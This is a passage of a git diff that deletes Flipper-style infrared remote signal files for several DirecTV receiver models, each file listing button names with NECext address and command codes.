00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 31 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 31 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 32 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: FFORWARD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: FFWD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: R -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 35 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 35 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 36 00 00 00 -# -name: ADVANCE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 36 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 36 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: ADVANCE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 41 00 00 00 -# -name: COLOR-RED -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 41 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: COLOR-YELLOW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: COLOR-GREEN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 -# -name: COLOR-BLUE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 59 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: TV_POWER_OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: TV_POWER_ON -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 73 00 00 00 -# -name: DISCRETE_ON -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 80 00 00 00 -# -name: DISCRETE_OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Satellite/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Satellite/133,48.ir deleted file mode 100644 index 58fc688c5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Satellite/133,48.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DIRECTV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 0F 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 13 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: THUMBS_DN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1B 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: SKIP_(-) -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: ENTER/LAST -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 36 00 00 00 -# -name: RATIO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 44 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 45 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 46 00 00 00 -# -name: PLAY_LIST -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 46 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir deleted file mode 100644 index 0f1247f3b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir deleted file mode 100644 index 30f64692d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DISCRETE_ON -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 80 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 80 00 00 00 -# -name: DISCRETE_OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 81 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,251.ir deleted file mode 100644 index a41bbe3c9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown/12,251.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 73 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 74 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir deleted file mode 100644 index 3d29bf73a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: Chan+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: Chan- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: Previous -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: Power -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 11 00 00 00 -# -name: Dash -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: Enter -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 13 00 00 00 -# -name: Menu -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: Up -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: Down -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: Left -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: Right -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: Select -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: Exit -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: Back -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: Guide -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 28 00 00 00 -# -name: Active -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: List -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2A 00 00 00 -# -name: Info -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: Play -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 30 00 00 00 -# -name: Stop -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 31 00 00 00 -# -name: Pause -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 32 00 00 00 -# -name: Rewind -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: Forward -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: Record -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 35 00 00 00 -# -name: Replay -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 36 00 00 00 -# -name: Skip -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: Red -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 41 00 00 00 -# -name: Yellow -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: Green -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: Blue -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 -# -name: On -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 80 00 00 00 -# -name: Off -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir deleted file mode 100644 index 314c5f78f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: chanUp -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: chanDown -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: prev -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 11 00 00 00 -# -name: dash -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: enter -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 13 00 00 00 -# -name: menu -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: up -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: down -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: left -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: right -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: select -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: exit -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: back -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: guide -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 28 00 00 00 -# -name: active -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: list -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2A 00 00 00 -# -name: info -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: red -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 41 00 00 00 -# -name: yellow -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: green -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: blue -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 -# -name: mute -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 59 00 00 00 -# -name: volUp -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 59 00 00 00 -# -name: volDown -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 59 00 00 00 -# -name: on -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 80 00 00 00 -# -name: off -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir deleted file mode 100644 index 77b8d40db..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: ch+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: ch- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: last -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 11 00 00 00 -# -name: dash -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: up -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: down -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: left -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: right -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: select -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: exit -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: back -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: guide -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 28 00 00 00 -# -name: action -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: list -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2A 00 00 00 -# -name: info -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: power -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 80 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir deleted file mode 100644 index d0f0d8c0b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: one -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: two -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: three -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: four -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: five -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: six -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: seven -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: eight -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: nine -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: chan_up -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: chan_down -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: prev -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: power -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 10 00 00 00 -# -name: zero -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 11 00 00 00 -# -name: dash -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: enter -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 13 00 00 00 -# -name: menu -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: up_arrow -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: down_arrow -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: left_arrow -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: right_arrow -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: select -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: exit -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: back -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: guide -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 28 00 00 00 -# -name: active -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: list -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2A 00 00 00 -# -name: info -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: play -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 30 00 00 00 -# -name: stop -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 31 00 00 00 -# -name: pause -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 32 00 00 00 -# -name: rewind -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: ffwd -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: record -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 35 00 00 00 -# -name: chapt_prev -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 36 00 00 00 -# -name: chapt_next -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: red -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 41 00 00 00 -# -name: yellow -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: green -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: blue -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir deleted file mode 100644 index 8bdb465d0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: ch+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: ch- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: previous -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 11 00 00 00 -# -name: menu -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: up -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: down -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: left -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: right -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: enter -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: exit -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: back -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: guide -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 28 00 00 00 -# -name: info -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: play -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 30 00 00 00 -# -name: stop -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 31 00 00 00 -# -name: pause -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 32 00 00 00 -# -name: skip- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: skip+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: record -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 35 00 00 00 -# -name: red -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 41 00 00 00 -# -name: yellow -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: green -type: parsed 